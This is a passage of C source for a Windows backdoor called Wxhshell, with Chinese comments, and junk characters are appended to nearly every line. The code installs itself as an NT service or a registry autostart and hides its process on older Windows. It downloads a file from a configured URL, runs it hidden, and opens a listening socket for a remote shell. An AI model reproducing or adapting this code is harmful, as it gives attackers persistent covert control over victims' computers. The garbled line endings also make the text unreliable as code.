DWORD AffinityMask; +KP_yUq[
DWORD BasePriority; fK"iF@=Z`
ULONG UniqueProcessId; {[tZ.1.w
ULONG InheritedFromUniqueProcessId;
#Z0-8<\
} PROCESS_BASIC_INFORMATION; (kY@7)d'e
9DPb|+O-
PROCNTQSIP NtQueryInformationProcess; TL@mM
]'g:B p
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @k9Pz<ub
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7f
r>ZY^
1mix+.d
HANDLE hProcess; XL~>rw<
PROCESS_BASIC_INFORMATION pbi; |T
y=7d ,
G1[(F`t>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B!uxs
if(NULL == hInst ) return 0; He<;4?:
&`@lB (m
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U=DEV7 E
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LQ>$>A(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6n,xH!7
Yv=g^tw
if (!NtQueryInformationProcess) return 0; T%~SM5
A2BRbwr>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t}~UYG(h~
if(!hProcess) return 0; GXYj+ qJ
_r5wF(Y?7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7>mhK7l
4 4`WYK l
CloseHandle(hProcess); U(Z!J6{c
Cm410 =b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,J&9kYz
if(hProcess==NULL) return 0; x`L+7,&n
E-F5y
HMODULE hMod; $Elkhe]O %
char procName[255]; Qt~B#R.
V
unsigned long cbNeeded; ckWkZ
78\
`M0YAiG
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (
OXY^iq
p[ Hr39o
CloseHandle(hProcess); ~ k<SbFp
AK;^9b-}q:
if(strstr(procName,"services")) return 1; // 以服务启动 y]^#$dK(z
F|*tNJU>
return 0; // 注册表启动 snq;:n!
} j%WY ,2P
Ro~fvL~Ps
// 主模块 10O3Z9
int StartWxhshell(LPSTR lpCmdLine) 63C(Tp"
{ --A&TV
SOCKET wsl; BV1u,<T"
BOOL val=TRUE; &g
{<HU?BT
int port=0; u GAh7Sop
struct sockaddr_in door; 2rmNdvvrk
C5;wf3
if(wscfg.ws_autoins) Install(); 70=(.[^+
M}KZG'7
port=atoi(lpCmdLine); C=yD3mVz
uQ^hV%|"
if(port<=0) port=wscfg.ws_port; RJwb@r<v
8$m1eQ`{
WSADATA data; BjvdnbJg
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rei5{PC
`V@z&n0P6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1lsLG+Rpxi
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6%UY1Q.?
door.sin_family = AF_INET; \j:AR4
door.sin_addr.s_addr = inet_addr("127.0.0.1"); xG w?'\
door.sin_port = htons(port); wonYm27f
0$QIfT)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Uuz?8/w}#
closesocket(wsl); ? oc+ 1e
return 1; -f 4>MG
} !xymoiArp
pALJl[Cb
if(listen(wsl,2) == INVALID_SOCKET) { k,lqT>C
closesocket(wsl); l#ZyB|
return 1; %p*`h43;
} iJ4<f->t
Wxhshell(wsl); F+3!uWUK
WSACleanup(); }k| g%HJ
sjb-Me?
return 0; VfRs[3Q
)vQNiik#
} "f<#.}8
v4C3uNW
// 以NT服务方式启动 ee^4KKsh\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m#;.yR
{ [aHlu[,
DWORD status = 0; F:_FjxU
DWORD specificError = 0xfffffff; &urb!tQ>&
gW}} 5Xq
serviceStatus.dwServiceType = SERVICE_WIN32; eVrNYa1>H
serviceStatus.dwCurrentState = SERVICE_START_PENDING; (rIXbekgB
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,#
eO&
serviceStatus.dwWin32ExitCode = 0; v4D!7t&v"
serviceStatus.dwServiceSpecificExitCode = 0; s.KOBNCFa
serviceStatus.dwCheckPoint = 0; /k)
NP
serviceStatus.dwWaitHint = 0; d=F)y~&'
@2?=3Wf
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %UBPoq
if (hServiceStatusHandle==0) return; O"8 P#Ed
wR(ttwxK3
status = GetLastError(); A(NEWO
if (status!=NO_ERROR) O/$ v69:
{ 9\:w8M X'
serviceStatus.dwCurrentState = SERVICE_STOPPED; DP0Z*8Ia
serviceStatus.dwCheckPoint = 0; 3<3t;&e
serviceStatus.dwWaitHint = 0; Z@u ;Z[@
serviceStatus.dwWin32ExitCode = status; ]o `4Z"
serviceStatus.dwServiceSpecificExitCode = specificError; kR_E6Fl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m
EFWo
return; [?|5oaK
} pj+tjF6Np
=/m}rcDN
serviceStatus.dwCurrentState = SERVICE_RUNNING; PYaOH_X.
serviceStatus.dwCheckPoint = 0; }^Z< dbt
serviceStatus.dwWaitHint = 0; T%w(P ^qk
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y/H8+0sEk
} gsi<S6DQ8
A>5S]
// 处理NT服务事件,比如:启动、停止 ;2BPPZ
VOID WINAPI NTServiceHandler(DWORD fdwControl) a0 qj[+
{ /CbkqNV
switch(fdwControl) r&=r/k2
{ WFXx70n
case SERVICE_CONTROL_STOP: Xz"
JY
serviceStatus.dwWin32ExitCode = 0; 9'l.TcVm`,
serviceStatus.dwCurrentState = SERVICE_STOPPED; kr6:{\DU:B
serviceStatus.dwCheckPoint = 0; |NXFla
serviceStatus.dwWaitHint = 0; ypxC1E
{ 4">84,-N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N*?
WUn9]
} CO7CNN
return; Of!|,2`(
case SERVICE_CONTROL_PAUSE: 7;~2e
serviceStatus.dwCurrentState = SERVICE_PAUSED; oUCVd}wH
break; :%pw`b, =V
case SERVICE_CONTROL_CONTINUE: [&fWF~D-p<
serviceStatus.dwCurrentState = SERVICE_RUNNING; =g1 D;
break; 1/!nV
case SERVICE_CONTROL_INTERROGATE: Qve`k<Cj"
break; V`U/'N-ay
}; ;B(;2.<"J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E#m76]vkCU
} []!tT-Gzy
h@EJTAi
// 标准应用程序主函数 cS+?s=d
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p{w}
{ &MBOAHhze
S".owe$\
// 获取操作系统版本 YstXNN4
OsIsNt=GetOsVer(); 3huzz<n3
GetModuleFileName(NULL,ExeFile,MAX_PATH); N IO;
">03~:oA
// 从命令行安装 iFY]0@yt
if(strpbrk(lpCmdLine,"iI")) Install(); H)-L%l|9
Q^\{Zg)p
// 下载执行文件 `;R|V
if(wscfg.ws_downexe) { <ihhV e
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Gt?!E6^!
WinExec(wscfg.ws_filenam,SW_HIDE); f45x%tha %
} tPQ2kEW
}6F_2S3c
if(!OsIsNt) { NWaI[P
// 如果时win9x,隐藏进程并且设置为注册表启动 }kpfJLjY
HideProc(); }x>}:"P;W
StartWxhshell(lpCmdLine); !x+MVJ]
} `W6:=H
else Be'?#Qe
if(StartFromService()) _Jt_2o%G
// 以服务方式启动 ]KfghRUH
StartServiceCtrlDispatcher(DispatchTable); A632 :V
else &:IfhS
// 普通方式启动 (v9!g#
StartWxhshell(lpCmdLine); 0q-0zXlSL
ZK W@pW]U
return 0; }//8$Z<(
}